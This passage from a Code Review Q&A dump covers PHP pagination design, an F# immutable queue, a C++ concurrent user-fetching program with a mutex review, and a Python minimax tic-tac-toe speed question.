$this-&gt;pageNumber;\n }\n\n public function getNumberOfPages(): int\n {\n return \\ceil($this-&gt;getTotal() / $this-&gt;itemsPerPage);\n }\n\n public function getTotal(): int\n {\n return $this-&gt;total;\n }\n\n public function getTotalOnCurrentPage(): int\n {\n if ($this-&gt;items instanceof \\Countable) {\n return \\count($this-&gt;items);\n }\n return \\iterator_count($this-&gt;items);\n }\n\n public function getTotalPerPage(): int\n {\n return $this-&gt;itemsPerPage;\n }\n}\n</code></pre>\n\n<p>Here I define the page provider (extended by getTotalCount method since my edit):</p>\n\n<pre><code>interface PageProviderInterface\n{\n public function getTotalCount(): int;\n public function getPage(int $offset, int $limit): \\Iterator;\n}\n</code></pre>\n\n<p>You then use the page provider within a paginator factory (that is your pagination interface but it actualy is paginator factory so i named it that way).</p>\n\n<pre><code>interface PaginatorFactoryInterface\n{\n public function createPaginator(int $page, int $pageSize): PaginatorInterface;\n}\n\nclass PaginatorFactory implements PaginatorFactoryInterface\n{\n /** @var PageProviderInterface */\n private $pageProvider;\n\n public function __construct(PageProviderInterface $pageProvider)\n {\n $this-&gt;pageProvider = $pageProvider;\n }\n\n public function createPaginator(int $page, int $pageSize): PaginatorInterface\n {\n $total = $this-&gt;pageProvider-&gt;getTotalCount();\n $offset = ($page - 1) * $pageSize;\n if ($offset &gt;= $total) {\n $items = new \\EmptyIterator();\n } else {\n $items = $this-&gt;pageProvider-&gt;getPage($offset, $pageSize);\n }\n return new Paginator($page, $pageSize, $items, $total);\n }\n}\n\n</code></pre>\n\n<p>And lastly some implementation of the page provider. </p>\n\n<p>The array one which provider slices of an array that resides in memory:</p>\n\n<pre><code>\nclass ArrayPageProvider implements PageProviderInterface\n{\n private $items;\n\n public function __construct(array $items) {\n\n $this-&gt;items = $items;\n }\n\n public function getTotalCount(): int\n {\n return \\count($this-&gt;items);\n }\n\n public function getPage(int $offset, int $limit): \\Iterator\n {\n return new \\ArrayIterator(\\array_slice($this-&gt;items, $offset, $limit));\n }\n}\n</code></pre>\n\n<p>And the silly PDO implementation, which would need some improvement to be actualy usable, but you should get the point:</p>\n\n<pre><code>class DbPageProvider implements PageProviderInterface\n{\n private $pdo;\n private $table;\n\n public function __construct(\\PDO $pdo, string $table) {\n $this-&gt;pdo = $pdo;\n $this-&gt;table = $table;\n }\n\n public function getTotalCount(): int\n {\n $statement = $this-&gt;pdo-&gt;prepare('select count(*) from ' . $this-&gt;table);\n return $statement-&gt;fetchColumn();\n }\n\n public function getPage(int $offset, int $limit): \\Iterator\n {\n $statement = $this-&gt;pdo-&gt;prepare('select * from ' . $this-&gt;table . ' limit ' . $offset . ',' . $limit);\n $result = $statement-&gt;execute();\n $i = 0;\n while ($row = $result-&gt;fetch()) {\n yield $i++ =&gt; $row;\n }\n }\n\n}\n\n</code></pre>\n\n<p>And that should actualy be all you need. No need for some crazy collection outsourcing or too much of new new new in one method. Keep it simple and remember the naming is really important for whoever wants to understand the code.</p>\n\n<p>Oh and one more, you hade a getViewData() method there, but that should be done by someone else:</p>\n\n<pre><code>function getPaginatorViewData(PaginatorInterface $paginator) {\n return [\n 'elements' =&gt; $paginator-&gt;getItems(),\n // ...\n\n ];\n}\n</code></pre>\n\n<p>This could be a global function, or it could be static method of its own class, or could even be elevated to an interface level. But actualy i dont think it belong to the lib, it may be part of some framework bundle, or something like that, but not the lib itself. The moment it becomes shapeless array, it becomes hard to work with...</p>\n\n<p>And here is a simple example of usage:</p>\n\n<pre><code>// in DI container\n$pageProvider = new DbPageProvider($pdo, 'users');\n$usersPaginatorFactory = new PaginatorFactory($pageProvider);\n\n// in lets say /users/list constroller we have the paginator factory injected\n// $pageNumber is coming from request\n$paginator = $this-&gt;usersPaginatorFactory-&gt;createPaginator($pageNumber, 20);\n\n// maybe you wanna pass this to laravel view?\nreturn view('users.list', ['paginator' =&gt; $paginator]);\n// or maybe if you defined the getPaginatorViewData() function\nreturn view('users.list', getPaginatorViewData($paginator));\n</code></pre>\n\n<p>PS: try to avoid constructor with $options array. It really is better to name all the parameters separately, even omit default value, let the user or a factory (if there is one) decide. Default values usualy just complicate things even if it seems the opposite at first glance...</p>\n\n<p>oh and PS2: although this should have been a big warning on the beginning.\nDont use eval(), avoid references, definitely dont return references, avoid instantiation of classes by string containing class name. The Pagination::factory is completly wrong. Immediately get rid of that file and never write anything like it again!!!</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T11:56:15.967", "Id": "452325", "Score": "0", "body": "wont `$this->items = $item;` consume memory in ArrayPageProvider ?. I added update with some code on how i am slicing array" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T12:54:02.633", "Id": "452342", "Score": "0", "body": "@shorif2000 well, that's the array implementation. that one serves the purpose when you have all items in memory and want to serve pages of it. If you want something else, you need different implementation. Dont check if they provided array or ArrayObject and then construct ArrayData object from it. Let them pass the ArrayData to you (which is kinda the analogue to my ArrayPageProvider, so better let them pass the PageProviderInterface which is the abstraction)... you seem to be quite unfamiliar with the concept of IoC, generaly the overdose of `new` operator is not good..." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T13:13:53.863", "Id": "452346", "Score": "1", "body": "@shorif2000 diving deeper into your code, I am very confused. It is all twisted inside out in a weird way. Naming is bad. Like why PaginatorInterface is implemented by Pagination when there is also PaginationInterface. Then there is DefaultPaginator which implements neither of the two. Collection class that is actualy some weird kind of array with fakable attributes, which gets sliced at some point... PaginatorInterface should tell you number of items and pages, not you tell it what those things are... I think you should hardly rethink what you are actualy doing." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T17:18:41.337", "Id": "452393", "Score": "0", "body": "I have updated it slightly. what do you think now? I added some update above for db support" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T17:49:16.750", "Id": "452397", "Score": "0", "body": "@shorif2000 I think this answer doesn't really aim at the core of your problem. I dont wanna completly redo this answer nor delete it and so I will try to post another answer with a broader example and point you to some bad practices you do." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T18:12:24.520", "Id": "452406", "Score": "0", "body": "Thanks. I have updated my README on github what I am trying to achieve." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T18:33:24.140", "Id": "452414", "Score": "0", "body": "@shorif2000 ok so i eventualy made an edit instead of new answer after all. so have a read." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T10:34:08.823", "Id": "452467", "Score": "0", "body": "can you give me example of how it will be used. I have added how i think it works?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T12:32:33.980", "Id": "452483", "Score": "0", "body": "i have updated my repo. but how can i add support for it to handle `Collection`" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T13:06:39.463", "Id": "452492", "Score": "0", "body": "my new question https://codereview.stackexchange.com/questions/231889/how-to-implement-collection-effectively-in-pagination" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T17:14:10.870", "Id": "452531", "Score": "1", "body": "@shorif2000 I have added example usage. You should not do the slicing outside the ArrayPagePRovider as in you edit in your answer... The arrayPageProvider is designed to do just that. But dont get too stuck with that specific implementation, i dont really see a real usage for it... it is just the simplest implementation i could think of and also you were talking about arrays... but in real world you want to avoid array implementations probably..." } ], "meta_data": { "CommentCount": "11", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T09:55:55.427", "Id": "231824", "ParentId": "231779", "Score": "2" } } ]
{ "AcceptedAnswerId": "231824", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T15:36:21.787", "Id": "231779", "Score": "5", "Tags": [ "php", "pagination" ], "Title": "how to make pagination more efficient with large arrays and db support" }
231779
<pre><code>namespace DataStructures type Queue&lt;'T&gt;() = let mutable _list : List&lt;'T&gt; = [] let mutable _count : int = 0 member this.Enqueue value = let revList = List.rev _list _list &lt;- List.rev (value :: revList) _count &lt;- _count + 1 member this.Dequeue = match _list with | result :: remainder -&gt; _list &lt;- remainder _count &lt;- _count - 1 result | [] -&gt; failwith "Queue is empty" member this.Count = _count member this.IsEmpty = _count = 0 interface System.Collections.Generic.IEnumerable&lt;'T&gt; with member this.GetEnumerator() = let e = seq { yield! _list } e.GetEnumerator() member this.GetEnumerator() = (this :&gt; _ seq).GetEnumerator() :&gt; System.Collections.IEnumerator </code></pre> <p>That's simple implementation of queue on f#. I'm new in f#. I want to know how to do this code better, make it more functional and what's wrong in my implementation.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T15:50:22.907", "Id": "452202", "Score": "3", "body": "_\"How can i add element to the end of list without mutating list\"_ Huh what please??" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T15:53:44.957", "Id": "452203", "Score": "1", "body": "How i can create new list where value will be in the end of new list" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T15:55:02.410", "Id": "452204", "Score": "1", "body": "You create a new list??" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T15:57:24.627", "Id": "452205", "Score": "0", "body": "yes, sthm like that ```_list <- value :: _list``` where value append to the end" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T08:34:45.130", "Id": "452299", "Score": "0", "body": "smth like [list.append](https://msdn.microsoft.com/en-us/visualfsharpdocs/conceptual/list.append%5B%27t%5D-function-%5Bfsharp%5D)?" } ]
[ { "body": "<p>Hi this is my first post and answer on CodeReview and I hope the following makes sense.</p>\n<p>There has been no answer for a year and I presume you have learnt and moved on. Still there are some classic noobie mistakes here, that we all go through on a functional learning curve, so I hope this provides some value to others.</p>\n<ol>\n<li><p>Use of <code>mutable</code>\nA typical challenge for someone new to F#, say coming from C#, is to use mutable identifiers. Indeed better to think of <code>let</code> as an identifier rather than variable assignment. The use of the mutable keyword is meant to be awkward and non-default to help highlight this. So a key challenge is to find an immutable way of working here, if possible, in this case it is. The usual method is to return the updated/new data structure as part of the function result, in a tuple.</p>\n</li>\n<li><p>Double use of List.rev in Enqueue.\nThis is another clue. Using a List - a singly linked list with <span class=\"math-container\">\\$O(1)\\$</span> cons - is good but List.rev is <span class=\"math-container\">\\$O(n) x 2\\$</span> here. And you need a mutable reference to the changed list rather than generating a new list. The beauty of F# list is to generate a new instance of a type with a cons for which the old list is not altered. Further, it is clear that one list will not suffice, this is not a stack. Maybe two lists might do? But how to manage them?</p>\n</li>\n<li><p>Optional - there is no reason not to use a class as you have here and many sophisticated data structures can be accessed better in such a class. However this is quite a simple data structure and you should not need to use a class and this might also distract from the essence of the challenge. Further the more functional way means that you will be, as already noted in 2, returning the updated data structure for all your functions, and this is more naturally seen first outside a class.</p>\n</li>\n<li><p>Putting this all together the key theme is to how use two lists and immutability to solve your challenge. I will not address question over this as a class nor enumerations in this answer.</p>\n</li>\n</ol>\n<p>So you can have 1 list to enqueue (using <code>cons</code>) and one to dequeue (using decapitation) but how do they relate. Looks like you will have to use List.rev to as little as possible to maximise <span class=\"math-container\">\\$O(1)\\$</span> operations and minimise <span class=\"math-container\">\\$O(n)\\$</span> operations. I imagine you would end up with something like this:</p>\n<p>First you need a different type and not a class;</p>\n<pre><code>type queue&lt;'a&gt; = | Queue of 'a list * 'a list\n</code></pre>\n<p>a single case discriminated union containing two lists in a tuple. This DU gives you a constructor for free:</p>\n<pre><code>let create = Queue([], [])\n</code></pre>\n<p>Enqueue is the simple one, cons to the front list. Note that since a new list is generated the enqueue must return a new version of the type, this way you don't need mutable lets, but it does change your public interface. The Queue instance is implicit and deconstructed by <code>function</code> and the DU makes this deconstruction clear.</p>\n<pre><code>let enqueue e = function Queue(fl, bl) -&gt; Queue(e :: fl, bl)\n</code></pre>\n<p>(The type signature here is <code>'a -&gt; Queue&lt;'a,'a&gt; -&gt; Queue&lt;'a,'a&gt;</code> )</p>\n<p>The real challenge is to dequeue. It should be clear that one decapitates the back list for the result. The challenge is to see how the two lists can be related and update each other. This is shown in the final case in the following pattern match, when the back list is empty (either after some dequeues or before any dequeues) then, and only then, do you need to reverse the front list:</p>\n<pre><code>let dequeue = function \n | Queue([], []) -&gt; failwith &quot;Empty&quot;\n | Queue(fl, b :: bl) -&gt; b, Queue(fl, bl)\n | Queue(fl, []) -&gt; \n let bl = List.rev fl\n List.head bl, Queue([], List.tail bl)\n</code></pre>\n<p>For count and empty we have:</p>\n<pre><code>let count = function Queue(fl,bl) -&gt; List.length bl + (List.length fl)\nlet empty = function Queue([],[]) -&gt; true | _ -&gt; false\n</code></pre>\n<p>so no need to keep track of the count with a mutable.</p>\n<p>P.S. If you do implement the <code>IEnumerable&lt;'T&gt;</code> interface for a type you change your yield from:</p>\n<pre><code>yield! _list\n</code></pre>\n<p>to following the order in which this would be dequeued :</p>\n<pre><code>yield! bl\nyield! List.rev fl\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-22T13:52:22.157", "Id": "253775", "ParentId": "231780", "Score": "3" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "5", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T15:45:07.470", "Id": "231780", "Score": "3", "Tags": [ "functional-programming", "queue", "f#" ], "Title": "Simple queue on F#" }
231780
<p>Continuing from: <a href="https://codereview.stackexchange.com/questions/231760/finding-the-5-youngest-users-who-have-valid-us-telephone-numbers?noredirect=1#comment452209_231760">Part 1</a></p> <p>I was not convinced this was true (see comment):</p> <pre><code>std::async([&amp;users, job = std::make_unique&lt;ListJob&gt;(apiList)](){job-&gt;run(users);}); // This will not return until all async jobs have completed. </code></pre> <p>So I rewrote it to make sure that I waited for all child work. This means collecting and then waiting on all <code>future&lt;void&gt;</code> objects.</p> <p>Additionally I did not want parallelism to grow out of control. So I add a limit <code>maxParrallelism</code> for the maximum number of details that could be retrieved in parallel (this is simply limited by the number of open connection an application is allowed by but I thought a practical limit would be 20 until I can test and prove otherwise).</p> <p>The interesting parallel work has been pulled into the class <code>JobHolder</code> (I have broken that out separately for review (but currently it is all one big file)).</p> <p>JobHolder:</p> <pre><code>class JobHolder { std::vector&lt;User&gt;&amp; users; std::map&lt;int, std::future&lt;void&gt;&gt; userFutures; std::mutex mutex; std::condition_variable cond; int lastFinished; bool justWaiting; public: JobHolder(std::vector&lt;User&gt;&amp; users) : users(users) , lastFinished(-1) , justWaiting(false) {} void addJob(int userId) { std::unique_lock&lt;std::mutex&gt; lock(mutex); // No more jobs if we are waiting. if (justWaiting) { return; } // We don't want to add more then maxParrallelism // simply because we don't want userFutures to blow up in memory to infinite size. // Note: Behind the scenes the parallelism is controlled for us by the implementation. cond.wait(lock, [&amp;userFutures = this-&gt;userFutures](){return userFutures.size() &lt; maxParrallelism;}); // Start async job to create and handle connection. userFutures.emplace(userId, std::async([job = std::make_unique&lt;UserJob&gt;(apiDetail + std::to_string(userId), *this)](){job-&gt;run();})); } void addResult(User const&amp; user) { std::unique_lock&lt;std::mutex&gt; lock(mutex); if (std::regex_search(user.number, phoneNumber)) { // Add the user to a heap. // The heap is ordered by youngest person. users.emplace_back(std::move(user)); std::push_heap(users.begin(), users.end(), youngestUser); if (users.size() == 6) { // If we have more than 5 people the pop the oldest one off. // Thus we maintain a heap of the 5 youngest people. std::pop_heap(users.begin(), users.end(), youngestUser); users.pop_back(); } } // If we are waiting then a thread is in waitForAllJobs // So we can't remove items from the userFutures as it is being used. if (!justWaiting) { if (lastFinished != -1) { // Note: Can't remove the current one (user.id) // As we are still in the thread that the future belongs too. // So we remove the last lastFinished and note this lastFinished // so it will be removed next time. userFutures.erase(lastFinished); cond.notify_one(); } lastFinished = user.id; } } void waitForAllJobs() { { std::unique_lock&lt;std::mutex&gt; lock(mutex); justWaiting = true; } for(auto&amp; future: userFutures) { future.second.wait(); } } }; </code></pre> <p>The rest of the code:</p> <pre><code>#include &lt;iostream&gt; #include &lt;future&gt; #include &lt;vector&gt; #include &lt;string&gt; #include &lt;memory&gt; #include &lt;algorithm&gt; #include &lt;regex&gt; #include &lt;mutex&gt; #include "ThorSerialize/Traits.h" #include "ThorSerialize/SerUtil.h" #include "ThorSerialize/JsonThor.h" #include "ThorsStream/ThorsStream.h" using namespace std::string_literals; // Some global constants. const std::string api = "https://appsheettest1.azurewebsites.net/sample"s; const std::string apiList = api + "/list"s; const std::string apiDetail = api + "/detail/"s; const std::regex phoneNumber("^[0-9]{3}[- ][0-9]{3}[- ][0-9]{4}$"); const int maxParrallelism = 20; // In this app List and User // are simply property bags no need to have access functions. // If this was a more complex app then we would consider having other methods. struct List { std::vector&lt;int&gt; result; std::unique_ptr&lt;std::string&gt; token; }; struct User { int id; std::string name; int age; std::string number; std::string photo; std::string bio; }; // Set up comparison functions used on user. // Note: youngestUser uses both name and age. This is because if we have a lot of people at the same age we want to keep the // lexicographically lowest names as we eventually will sort by name. const auto youngestUser = [](User const&amp; lhs, User const&amp; rhs){return std::forward_as_tuple(lhs.age, lhs.name) &lt; std::forward_as_tuple(rhs.age, rhs.name);}; const auto nameTest = [](User const&amp; lhs, User const&amp; rhs){return lhs.name &lt; rhs.name;}; // Set up List and User to be read from JSON stream. // See: jsonImport() and jsonExport() below ThorsAnvil_MakeTrait(List, result, token); ThorsAnvil_MakeTrait(User, id, name, age, number, photo, bio); // A generic Job. // Simply reads an object from an istream. // If the read worked then processes it. // Note: An istream treats a CURL socket like a standard C++ stream. template&lt;typename T&gt; class Job { protected: ThorsAnvil::Stream::IThorStream istream; public: Job(std::string const&amp; url) : istream(url) {} virtual ~Job() {} void run() { bool hasMore; do { hasMore = false; T data; using ThorsAnvil::Serialize::jsonImport; if (istream &gt;&gt; jsonImport(data)) { processesData(data); hasMore = moreData(data); } else { // Do some error handling } } while(hasMore); } virtual void processesData(T const&amp; data) = 0; virtual bool moreData(T const&amp;) {return false;} }; class JobHolder; // A job to handle the details from getting a user object. class UserJob: public Job&lt;User&gt; { JobHolder&amp; jobHolder; public: UserJob(std::string const&amp; url, JobHolder&amp; jobHolder) : Job(url) , jobHolder(jobHolder) {} virtual void processesData(User const&amp; user) override; }; // ******** // JobHolder GOES HERE // ******** // A job to handle the list object. class ListJob: public Job&lt;List&gt; { JobHolder jobHolder; public: ListJob(std::string const&amp; url, std::vector&lt;User&gt;&amp; result) : Job(url) , jobHolder(result) {} virtual void processesData(List const&amp; data) override; virtual bool moreData(List const&amp; data) override; }; void UserJob::processesData(User const&amp; user) { jobHolder.addResult(user); } void ListJob::processesData(List const&amp; data) { for(auto const&amp; userId: data.result) { // For each user add a job ("UserJob") to the async queue. jobHolder.addJob(userId); } } bool ListJob::moreData(List const&amp; data) { if (data.token.get()) { istream = ThorsAnvil::Stream::IThorStream(apiList + "?token=" + *data.token); return true; } else { jobHolder.waitForAllJobs(); return false; } } int main() { std::vector&lt;User&gt; users; ListJob listJob(apiList, users); listJob.run(); std::sort(users.begin(), users.end(), nameTest); using ThorsAnvil::Serialize::jsonExport; std::cout &lt;&lt; jsonExport(users) &lt;&lt; "\n"; } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T18:24:40.703", "Id": "452411", "Score": "1", "body": "Is the assumption that it is going to take longer to process the data than to fetch it? It makes a difference as to how concurrency is best used." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T18:30:39.563", "Id": "452413", "Score": "0", "body": "@Edward: I did not think about that. I just tried to write it as clearly as possible." } ]
[ { "body": "<p>I see some things that may help you improve your program.</p>\n<h2>Use all required <code>#include</code>s</h2>\n<p>The code uses a <code>condition_variable</code> but does not <code>#include &lt;condition_variable&gt;</code>. It should!</p>\n<h2><a href=\"https://www.youtube.com/watch?v=O8OE4gedQuc\" rel=\"nofollow noreferrer\">Be careful with that mutex, Eugene</a></h2>\n<h2></h2>\n<p>It's not actually <em>wrong</em> but within <code>JobHolder::addResult</code>, the first line is this:</p>\n<pre><code>std::unique_lock&lt;std::mutex&gt; lock(mutex);\n</code></pre>\n<p>It's correct to grab the lock there, but you don't really need to unlock or relock after that, so it would be better to use the simpler <code>std::lock_guard</code> there instead.</p>\n<h2>Minimize what's being protected by a mutex</h2>\n<p>The <code>JobHolder</code> class largely blocks parallel processing by its current design. That's because the single <code>mutex</code> class member is locked before <em>any</em> data access which means that the code that processes the users queue is blocked while new user IDs are being fetched. It seems to me that a finer grained locking mechanism would make more sense here. Separate locks for the <code>users</code> and <code>userFuture</code> would simplify the locking regime, free up some otherwise blocked processing time and eliminate the need for the <code>justWaiting</code> and <code>lastFinished</code> items entirely. Notionally, there are three tasks: fetching the user ids, fetching user details, and sorting them to process the query. I would suggest that first two tasks can be asynchronous and only need to communicate via a shared <code>usersIds</code> vector. The second two are also asynchronous and would only need to communicate via a <code>users</code> vector. This suggests a rather different design in which a templated shareable vector (i.e. with suitable locking to assure coherency) could be the central coordinating data structures. So instead of the current <code>JobHolder</code>, another possibility would be to augment the base <code>Job</code> class so that it has a shareable input and output queue.</p>\n<h2>Use sentinels for all processing</h2>\n<p>Since there is apparently a sentinal data item that signals the end of the queue of user ids, that same idea could be used to signal the ids processor that there is no more data. By having this signal within the data stream, it means there no longer needs to be an external signal for this notion, simplifying the code somewhat.</p>\n<h2>Consider a map/reduce approach</h2>\n<p>Another way to approach this problem would be to have multiple threads each working on a subset of <code>User</code>s and each produce their own set of the five youngest. Then those answers could be gathered and reduced to a single final set of five.</p>\n<hr />\n<p><strong>Note:</strong> The following items are from the earlier review of version 1, but are repeated here since they still apply.</p>\n<hr />\n<h2>Use a better data structure</h2>\n<p>The use of the <code>heap</code> is not bad and is intuitively a reasonable structure for keeping the five youngest users, but because it's only five entries, I'd suggest that a <code>std::array&lt;User,5&gt;</code> might be better. Even a linear search would require a very few comparisons and the advantage is that it's a fixed size structure.</p>\n<h2>Do the cheaper tests first</h2>\n<p>Right now, the <code>processesData</code> function compares phone number first and then age. Since the age comparison does not use a regex, I would strongly suspect that it is a less computationally expensive comparison, so it would probably make sense to do that first. Obviously this is somewhat data-dependent, but it's worth thinking about.</p>\n<h2>Use <code>regex_match</code> to match a whole string</h2>\n<p>The current code is using <code>regex_search</code> which looks for a match anywhere within the string, but the regex itself starts with <code>'^'</code> and ends with <code>'$'</code>, so clearly the intent is to only match the entire string. For that, <code>regex_match</code> is more appropriate than <code>regex_search</code> and you can omit the start and end tokens from the regex.</p>\n<h2>Minimize the time a mutex is held</h2>\n<p>Right now the code holds a mutex lock even before we know that this will actually alter the underlying structure. That is, we may add a user who is older than the oldest person currently in the heap, only to remove that user again. That's inefficient and holds the lock for longer than the mimimum time. Instead, I'd do something like this:</p>\n<pre><code>#include &lt;iostream&gt;\n#include &lt;regex&gt;\n#include &lt;string&gt;\n#include &lt;array&gt;\n#include &lt;mutex&gt;\n\nconst std::regex phoneNumber(&quot;[0-9][0-9][0-9][- ][0-9][0-9][0-9][- ][0-9][0-9][0-9][0-9]&quot;);\n\nstruct User {\n std::string phone;\n int age{999}; // start with invalid age\n};\n\nstd::ostream&amp; operator&lt;&lt;(std::ostream&amp; out, const User&amp; user) {\n return out &lt;&lt; &quot;age: &quot; &lt;&lt; user.age &lt;&lt; &quot;, phone: &quot; &lt;&lt; user.phone;\n}\n\nconst auto youngestUser = [](User const&amp; lhs, User const&amp; rhs){return lhs.age &lt; rhs.age;};\n\nint main() {\n using namespace std;\n\n vector&lt;User&gt; samples{\n {&quot;212-123-4567&quot;, 10},\n {&quot;212-123-4568&quot;, 81},\n {&quot;212-123-4569&quot;, 18},\n {&quot;2 2-123-4570&quot;, 99},\n {&quot;212-123-4571&quot;, 57},\n {&quot;2 2-123-4572&quot;, 45},\n {&quot;212-123-4573&quot;, 33},\n {&quot;212-123-4574&quot;, 21},\n {&quot;212-123-4575&quot;, 18},\n {&quot;2 2-123-4576&quot;, 16},\n {&quot;212-123-4577&quot;, 30},\n {&quot;2 2-123-4578&quot;, 50},\n {&quot;212-123-4579&quot;, 77},\n {&quot;2 2-123-4580&quot;, 23},\n };\n\n array&lt;User, 5&gt; result;\n cout &lt;&lt; &quot;before:\\n&quot;;\n copy(result.begin(), result.end(), ostream_iterator&lt;User&gt;{cout, &quot;\\n&quot;});\n for (const auto&amp; person: samples) {\n if (person.age &lt; result.back().age &amp;&amp; regex_match(person.phone, phoneNumber)) {\n User youngerPerson(person);\n lock_guard&lt;mutex&gt; lock(mutex);\n if (person.age &lt; result.back()) {\n swap(youngerPerson, result.back());\n sort(result.begin(), result.end(), youngestUser); \n }\n }\n }\n cout &lt;&lt; &quot;after:\\n&quot;;\n copy(result.begin(), result.end(), ostream_iterator&lt;User&gt;{cout, &quot;\\n&quot;});\n}\n</code></pre>\n<p>Obviously this sample code is single-threaded, but it shows the suggested lock placement accurately. It also shows doing one last comparison <em>after</em> the lock is obtained to avoid data race problems in which another thread has modified <code>result</code> between the time of the check and the time this thread obtains the lock.</p>\n<p><strong>Caution:</strong> accessing the data value of <code>person.back()</code> <em>without</em> locking the structure is inherently risky, but I believe it is OK in this particular case because:</p>\n<ol>\n<li>all other threads will only add lower ages to the structure</li>\n<li>because we're looking for human ages in years, this is extremely likely to be a single byte quantity and therefore atomic (even if it's stored in a <code>long int</code>)</li>\n<li>the structure is a fixed-size <code>std::array</code> and so <code>person.back()</code> will not change address</li>\n</ol>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T01:51:55.290", "Id": "231865", "ParentId": "231784", "Score": "4" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T16:46:04.347", "Id": "231784", "Score": "5", "Tags": [ "c++", "c++17" ], "Title": "Finding the 5 youngest users who have valid US telephone numbers - follow-up" }
231784
<p>I am using minimax algorithm (for now without alpha beta pruning) for AI in tic tac toe game in Python and Numpy. It's working, but very slow, so I would like to optimize it.</p> <p>A few rules for current purposes:</p> <ul> <li>Board is 4x4 square,</li> <li>Player wins when he has 3 symbols (X or O) in row, column or diagonal,</li> <li>Empty field is represented by <code>0</code>, X by <code>1</code> and O by <code>2</code>.</li> <li>There is no whole game for performance testing. Goal is to determine only one next move (player 1 must play <code>(2, 1)</code>) using minimax like bellow:</li> </ul> <pre><code>[[1 0 0 1] [[1 0 0 1] [0 2 0 0] -&gt; [0 2 0 0] [0 0 1 0] [0 1 1 0] [1 2 2 1]] [1 2 2 1]] </code></pre> <p><a href="https://repl.it/repls/EnviousElegantLanguage" rel="nofollow noreferrer">Here</a> is whole program. Even game board is almost full, get optimal move takes 3 seconds. Most of the time takes function <code>search_sequence</code> and then <code>minimax</code>. Is there any way to optimize it? Bellow are described some parts of program.</p> <h2>search_sequence</h2> <p>Function accepts array and sequence (also array) and check, if array includes sequence.</p> <pre><code># E. g. [1 2 3 4 5] includes [2 3 4] but not [5 4 3]. def search_sequence(arr, seq): r_seq = numpy.arange(seq.shape[0]) M = (arr[numpy.arange(arr.shape[0] - seq.shape[0] + 1)[:, None] + r_seq] == seq).all(1) return M.any() &gt; 0 </code></pre> <h2>get_diags</h2> <p>Accepts 2D array and return list of all diagonals.</p> <pre><code># [[1 2 3] # [4 5 6] -&gt; [[1] [2 4] [7 5 3] [8 6] [9] [3] [2 6] [1 5 9] [4 8] [7]] # [7 8 9]] def get_diags(state): diags = [state[::-1,:].diagonal(i) for i in range(-state.shape[0] + 1, state.shape[1])] diags.extend(state.diagonal(i) for i in range(state.shape[1]-1,-state.shape[0],-1)) return diags </code></pre> <h2>Player.get_actions</h2> <p>Return list of all available actions. Action is simple tuple, </p> <pre><code># [[1 2 0] # [1 2 1] -&gt; [(0, 1) (2, 0) (2, 2)] # [0 1 0]] def get_actions(self, state): coords = numpy.asarray(numpy.where(state == 0)).T return [tuple(i) for i in coords] </code></pre> <h2>Player.apply_action, Player.undo_action</h2> <p>Apply action to game board. Simply set value on action's coordinates to player's ID.</p> <pre><code>def apply_action(self, state, action): state[action] = self.id return state def undo_action(self, state, action): state[action] = 0 return state </code></pre> <h2>Player.is_win</h2> <p>Search all rows, columns and diagonals for sequence of 3 player's ID.</p> <pre><code># [[1 2 0] # [1 2 1] -&gt; True (for player with id = 2) # [0 2 0]] def is_win(self, state): for i, row in enumerate(state): if search_sequence(row, self.win_seq): return True if search_sequence(state[:, i], self.win_seq): return True for diag in get_diags(state): if search_sequence(diag, self.win_seq): return True return False </code></pre> <h2>Player.is_full</h2> <p>Check if there is no field 0 on game board and no move is available.</p> <pre><code>def is_full(self, state): fields = state == 0 return not fields.any() </code></pre> <h2>Player.minimax</h2> <p>Return score of state tree. 0 = draw, -10 = loss, 10 = win.</p> <pre><code>def minimax(self, state, depth, is_max): if self.is_win(state): return 10 - depth elif self.enemy.is_win(state): return -10 + depth elif self.is_full(state): return 0 actions = self.get_actions(state) if is_max: best = -sys.maxsize for action in actions: val = self.minimax(self.apply_action(state, action), depth + 1, False) self.undo_action(state, action) best = max(best, val) else: best = sys.maxsize for action in actions: val = self.minimax(self.enemy.apply_action(state, action), depth + 1, True) self.undo_action(state, action) best = min(best, val) return best </code></pre> <h2>Player.get_decision</h2> <p>Get optimal action for next move.</p> <pre><code>def get_decision(self, state, enemy): self.enemy = enemy actions = self.get_actions(state) best_i = None best_val = -sys.maxsize for i, action in enumerate(actions): val = self.minimax(self.apply_action(state, action), 0, False) state[action] = 0 if val &gt; best_val: best_i = i best_val = val return actions[best_i] </code></pre>
